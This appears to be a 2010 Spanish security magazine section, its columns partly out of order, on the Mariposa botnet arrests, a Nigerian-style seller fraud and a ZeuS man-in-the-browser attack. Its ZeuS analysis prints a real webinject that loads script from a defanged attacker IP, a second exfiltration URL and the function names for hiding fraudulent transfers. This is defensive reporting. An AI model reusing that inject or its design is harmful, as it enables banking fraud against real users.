Junio`2010

Labs
seguridad y políticas industriales
Mariposa botnet
L
a desarticulación por parte del Grupo
de Delitos Telemáticos de la Guardia
Civil (UCO) de una botnet administrada
desde España y con más de 13 millones
equipos infectados es una de las noticias
más notables en cuanto a lucha contra el
fraude a nivel mundial.
Mariposa es un troyano con capacidad de descargar e instalar otros códigos
maliciosos en los equipos infectados,
además de permitir la administración
remota mediante un panel de control. Lleva en circulación desde finales de 2007 y
su precio de venta ronda los 1.000 euros.
Los detenidos habían comprado este troyano y logrado el control de un asombroso número de equipos infectados, creando una botnet de proporciones fuera de
lo habitual. No obstante no tienen relación con la creación del código malicioso
utilizado.
de la botnet en diciembre de 2009. Las
conexiones a los servidores siempre se
realizaban desde servicios de VPN anonimizados, aunque en una de las conexiones un administrador cometió el error de
conectar desde la IP de su domicilio.
Además, alguno de los servidores de
control estaban registrados con los nombres reales de los administradores en un
registrador privado y que finalmente colaboró con las fuerzas del orden, lo que
condujo a la detención del primero de
ellos durante el mes de enero en Bilbao.
Los arrestos concluyeron en marzo. El
grupo que controlaba la botnet se autodenominaba DDP Team (Días De Pesadilla Team), siendo Netkairo su líder.
En cuanto al número de equipos
infectados hay que aclarar que son todos
los que han llegado a formar parte de la
botnet en algún momento de su existencia, por lo que es difícil estimar el tamaño
real. No obstante queda claro que se trata de una de las más grandes del mundo.
Los detenidos tenían datos personales y bancarios de las víctimas, llegando
a más de 800.000 afectados en 190 países. También se monetizaba la botnet
mediante su alquiler a otros grupos de
delincuentes que instalaban otro código
malicioso en los equipos de las víctimas,
incluyendo troyanos bancarios. Finalmente, se utilizaba para ataques de
denegación de servicio distribuidos. A
pesar de todo ello, la botnet ha conseguido pasar relativamente desapercibida
durante todo este tiempo.
Las primeras pistas para las detenciones surgieron a partir de un grupo de
voluntarios conocido como Mariposa
Working Group (similar al establecido
para combatir Conficker), y que lograron
deshabilitar algunos servidores de control
No obstante, según César Lorenzana,
jefe adjunto de la división de crimen tecnológico de la Guardia Civil, es difícil conseguir un delito de prisión para los detenidos por falta de una legislación específica para delitos cibernéticos.
Fuente
junio 2010 176
Labs
seguridad y políticas industriales
pida el envío de la mercancía a otro
distinto.
En el correo se piden los datos bancarios del vendedor para realizar el pago,
dando igual que se le envíen datos falsos. Al poco tiempo se recibe un correo
electrónico simulando ser el banco origen en el que indican que la transferencia hacia nuestro banco falso se ha realizado de manera correcta y que una vez
recibido el comprobante de envío, podremos retirar el dinero de nuestra cuenta.
Normalmente el correo que se recibe
por parte de la falsa entidad bancaria es
una burda falsificación, como puede
apreciarse en el ejemplo de la derecha.
El objetivo es que una vez recibido
este correo, el comprador fraudulento
empieza a ejercer presión indicando que
si no se envía el producto procederá a
realizar denuncia. En una siguiente fase,
puede que se envíen correos falsificados
simulando ser algún cuerpo policial (normalmente el FBI).
Ejemplo de correo del comprador
antiguo fraude,
nuevas fórmulas
También hay otro tipo de fraudes
complementarios o adicionales a los
tecnológicos más habituales. En este
Los intentos de fraude tradicionales
utilizando medios tecnológicos parece
que se recrudecen. El uso habitual de
todo tipo de plataformas que propician
este tipo de fraude junto con la sensación de impunidad multiplican el número
de casos que abusa de usuarios confiados. A pesar de ser un tipo de fraude en
muchos casos burdo es real, y precisamente por su poca elaboración muchas
veces pasa desapercibido independientemente de lo efectivo que sea.
Un ejemplo claro de este tipo de
actividades es la extensión del conocido fraude nigeriano, y que hoy en día se
está llevando a cabo, es la de comprar
objetos en foros legítimos a un precio
superior al demandado por el vendedor.
Éste recibe un correo por parte de un
comprador potencial no interesándose
por el producto, sino ofreciéndose a su
compra directamente. En dicho correo
es habitual que el comprador se identifique como originario de un país pero
177 junio 2010
Esquema típico de ataque MITB: Los datos se modifican antes de enviarse a la entidad bancaria
caso se trata de ingeniería social
mediante medios como teléfono o SMS
a través de datos obtenidos de esquemas de phishing o troyanos.
De este modo se evita abusar en
cuanto a pedir todos los datos necesarios para realizar una transferencia fraudulenta en el código HTML inyectado en
el navegador de la víctima para evitar
suspicacias del usuario. Poco a poco
aumenta la concienciación acerca de no
introducir nunca ciertos datos en el
navegador, mientras que otros como el
teléfono no levantan sospechas.
De este modo, una vez el delincuente
obtiene el teléfono realiza una llamada
para obtener el resto de datos que necesita haciéndose pasar por la entidad bancaria. Este tipo de operativa cada vez es
más habitual.
Como ejemplo para tomar consciencia de hasta qué punto este tipo de táctica tiene éxito, sirva el de una empresa
de falsos antivirus basada en Rusia que
tuvo que abrir un centro de atención al
cliente en Alemania para atender las
peticiones de sus “clientes”. Sin duda es
un tipo de fraude con recorrido y que
aumentará mientras el usuario no evite
ofrecer sus datos a partir de una simple
llamada.
en profundidad
Ataques MITB de Zeus
Los ataques MITB (Man in the Browser) son similares a los ataques MITM
(Man in the Middle), en los que un atacante es capaz de situarse en el medio
de una conversación sin el conocimiento
de los interlocutores originales. De este
modo el atacante es capaz de observar
la comunicación y obtener información
confidencial.
Hasta ahora el escenario típico para
ZeuS era el de MITM, de modo que los
delincuentes infectaban equipos y posteriormente capturaban el tráfico en
busca de credenciales de acceso a servicios como el de banca en línea. A continuación los datos capturados se enviaban a una dropzone (el servidor malicioso en el que se almacenan los datos
robados). Dichos datos se usan posteriormente para realizar transferencias
fraudulentas con las credenciales del
usuario infectado.
Otros troyanos como URLZone son
capaces de realizar ataques MITB. En
este caso el troyano no se limita a la
captura de credenciales, sino que en el
momento en que el equipo infectado
intente realizar una transferencia legítima, el troyano modifica los datos de la
misma sin el conocimiento del usuario.
junio 2010 178
Cuando posteriormente el banco confirma la transacción y retorna los datos
acerca de la cuenta destino y el importe,
el troyano vuelve a cambiar dichos valores para mostrar al usuario los de la
transferencia legítima. Además, algunos
troyanos incluso llegan a cambiar el balance de la cuenta de la víctima para que
concuerde con la transferencia original
en lugar de reflejarse el importe de la
fraudulenta.
De este modo la transferencia a la
cuenta del delincuente se realiza de forma
inmediata y el usuario legítimo piensa que
todo ha ido según sus planes, dando un
tiempo precioso a los delincuentes para
mover este dinero rápidamente haciendo
su recuperación muy complicada.
Zeus por sí mismo no implementa esta
funcionalidad. Normalmente los intentos
de transferencia se hacen a través de los
datos almacenados en la dropzone, que
pueden tener semanas de antigüedad y
por lo tanto, estar obsoletos.
Este mes se han detectado los primeros intentos de Zeus para obtener este
tipo de funcionalidad sin disponer del
soporte del troyano para ello.
El código que lo hace posible no se
encuentra en el troyano, sino en los
Labs
archivos de configuración que este utiliza. Es una aproximación ingeniosa que
tiene un gran potencial, dado que el
cambio en los archivos de configuración es sencillo y tiene un gran potencial de rápido crecimiento, debido a que
el troyano original no necesita ser
actualizado.
De este modo, cuando una víctima
visita la web de una entidad afectada,
en lugar de la típica inyección de código HTML/AJAX/JS almacenada en el
archivo de configuración, se inyecta
un código Java Script situado en un
servidor externo. Éste implementa la
lógica para realizar este tipo de ataque. Sin duda un ejemplo es el modo
más sencillo de comprobar su funcionamiento:
seguridad y políticas industriales
El código JavaScript lo primero que
hace es intentar localizar en qué operativa de su banca electrónica se encuentra
el usuario, como “Posición Global”,
“Últimos movimientos” o “Transferencias”. En función de ello implementa distintas funcionalidades. Es fácil deducir
su funcionamiento simplemente viendo
los nombres de función que utiliza en el
código:
[INJDATA]
><script language="JavaScript"
src="hxxp://95.211.131.70/code.php"></
script>
<script language="JavaScript">document.body.style.visibility='visible';</script
[/INJDATA]
get_login()
get_name()
correct_cuento(cuento,plus)
set_i_cuenta(value)
set_i_sum(sum)
set_i_iban(value)
set_i_bank_name(value)
set_i_name(value)
set_i_purpose(value)
hide_f1_alert()
change_f3_alert()
hide_transaction(date,sum)
correct_balanse_page(sum,bill)
pulsarCoord(elemento, coordenada)
comprobarCoordenada(coordenada)
difuminarTeclado()
save_trans()
Referencia en el archivo de configuración
al código JavaScript externo en code.php
Los nombres de función son auto
explicativos de su funcionamiento.
El código inyectado referencia a otro
archivo en el mismo servidor:
hxxp://95.211.131.70/lnk.php
Se trata de la localización a la que se
envía la información y desde donde se
recibe. Por ejemplo, para recibir a qué
cuenta se debe realizar la transferencia
maliciosa, el importe de la misms o informar a los delincuentes acerca de cuándo
una transferencia fraudulenta se realiza
con éxito.
El código implementa medidas para
ofuscar sus acciones al usuario legítimo.
Todo el código parece encontrarse
en una etapa de pruebas, aunque funciona correctamente. Dentro del código hay
funciones definidas que no se llegan a
usar en ningún momento, así como
abundantes comentarios, lo que sugiere
que los delincuentes se encuentran en
una etapa final de desarrollo.
El troyano realiza comprobaciones
acerca del navegador usado por la víctima para utilizar distintas funcionalidades, asegurando de este modo la compatibilidad.
Sin duda se trata de una característica notable dada la gran base de equipos infectados por ZeuS existentes en
la actualidad y la facilidad de realizar
una actualización masiva de sus archivos de configuración añadiendo esta
nueva funcionalidad y sin ninguna necesidad de actualizar el binario del troyano, lo que podría levantar sospechas. Durante los próximos meses estaremos atentos a cualquier novedad
en este aspecto y a la evolución de
esta nueva y peligrosa modalidad de
ataque.
En general la funcionalidad implementada intenta cambiar los datos de
una transferencia legítima del usuario,
informar a los delincuentes acerca de la
transferencia realizada y mostrar a la víctima los datos de su transferencia original, tanto en el resumen de la transferencia realizada como en el balance de su
cuenta.
Función para informar a los delincuentes de modo inmediato acerca de
una transferencia fraudulenta: número de
cuenta, cantidad, etc.
Función para informar a los delincuentes de modo inmediato acerca de una transferencia fraudulenta: número de cuenta, cantidad, etc.
179 junio 2010